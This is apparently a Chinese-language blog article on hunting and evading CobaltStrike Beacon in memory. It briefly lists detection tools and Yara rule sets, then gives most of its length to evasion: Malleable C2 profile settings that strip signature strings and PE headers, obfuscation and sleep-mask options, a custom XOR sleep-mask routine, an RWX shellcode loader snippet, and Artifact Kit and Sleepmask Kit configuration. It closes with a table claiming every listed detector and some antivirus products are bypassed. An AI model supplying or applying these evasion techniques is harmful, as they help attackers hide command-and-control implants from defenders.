CobaltStrike的狩猎与反狩猎
字数 1408 2025-08-24 23:51:09
CobaltStrike的狩猎与反狩猎技术详解
0x01 前言
本文全面分析CobaltStrike Beacon在内存中的检测方法及相应的规避技术,涵盖Yara规则检测、内存特征扫描等多种狩猎手段及其对抗方案。
0x02 狩猎技术
0x021 BeaconEye/EvilEye
检测原理:
- 扫描CobaltStrike内存特征
- 解析Beacon Config获取信息
工具特点:
- BeaconEye基于.NET Framework 4.8
- EvilEye是Golang版本,兼容低版本系统(如Windows Server 2008)
0x022 Hunt-Sleeping-Beacons
功能:
- 识别休眠状态的Beacon
- 检测异常进程
限制:
- 实际测试中无法检测x86进程
0x023 Yara规则检测
常用规则集:
- Elastic安全公司开源规则
- Google GCTI开源规则
检测示例:
yara -s rules.yar beacon.exe
0x024 Hollows_Hunter
功能:
- 扫描运行中进程
- 检测恶意植入物:
- 替换/植入的PE文件
- Shellcode
- 内存补丁
- Hook
0x03 反狩猎技术
0x031 Yara规则绕过
0x0311 字符串处理
步骤:
- 分析默认profile中的特征字符串
- 使用strrep替换特征字符串:
transform-x64 {
strrep "beacon.x64.dll" "";
}
注意事项:
- 不应全部替换,可能影响程序功能
- 格式化字符串需谨慎处理
0x0312 MZ头/PE头处理
配置方法:
set magic_mz_x86 "KC@H"; # ASM = dec ebx, inc ebx, inc eax, dec eax
set magic_mz_x64 "A[AS"; # ASM = pop r11, push r11
set magic_pe "AR"; # 随机两个字节
局限性:
- 只能修改少量字节
- 健壮的Yara规则仍可能触发
0x0313 清理反射加载器
配置:
set cleanup "true";
效果:
- 清除原始Beacon DLL
- 仅保留虚拟Beacon DLL
0x0314 配置混淆
配置:
set obfuscate "true";
功能:
- 去除DLL头部
- 混淆.text段、段名、导入表等
- 移除大部分字符串
0x0315 Sleep_Mask
基础配置:
set userwx "false"; # 内存设置为RX而非RWX
set sleep_mask "true"; # 启用睡眠掩码
自定义加密算法:
/* My a beacon section */
void my_mask_section(SLEEPMASKP* parms, DWORD a, DWORD b) {
char key[] = "cf81d743beef8422";
size_t key_lenght = sizeof(key) - 1;
while (a < b) {
*(parms->beacon_ptr + a) ^= key[a % key_lenght];
a++;
}
}
0x0316 加载器特征去除
方案一:Shellcode Loader
// 示例代码
void* exec = VirtualAlloc(0, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buffer, fileSize);
// 加密buffer
string key = "cf81d743beef8422";
for(int i = 0; i < fileSize; i++) {
buffer[i] = buffer[i] ^ key[i % key.length()];
}
((void(*)())exec)();
方案二:源码修改
- 修改管道生成特征(bypass-pipe.c)
- 使用Artifact Kit套件生成定制化Beacon
0x032 套件配置
Artifact Kit配置:
artifactkit_technique="pipe"
artifactkit_allocator="HeapAlloc"
artifactkit_stage_size=310272
artifactkit_include_resource="false"
artifactkit_stack_spoof="false"
artifactkit_syscalls_method="indirect"
Sleepmask Kit配置:
sleepmask_version="49"
sleepmask_sleep_method="WaitForSingleObject"
sleepmask_mask_text_section="true"
sleepmask_syscalls_method="indirect"
0x04 效果测试
| 检测项 | 绕过效果 |
|---|---|
| Yara静态检测 | 通过 |
| Yara内存检测 | 通过 |
| BeaconEye/EvilEye | 通过 |
| Hunt-Sleeping-Beacons | 通过 |
| Hollows_Hunter | 通过 |
| 卡巴内存扫描 | 通过 |
| 火绒 | 通过 |
0x05 进阶建议
- 配合unhook技术
- 使用堆栈欺骗
- 定期更新特征规则
- 自定义Malleable-C2配置
- 注意x86特有特征处理
附录:常见问题
- Sleep Mask默认方法检测:当sleep为0时可能被检测,设置适当sleep时间可避免
- x86特有特征:需额外处理特定字节序列
- Artifact Kit套件检测:自定义规则可能仍会检测标准套件,需进一步定制
通过综合应用上述技术,可有效提升CobaltStrike在红队行动中的隐蔽性和存活能力。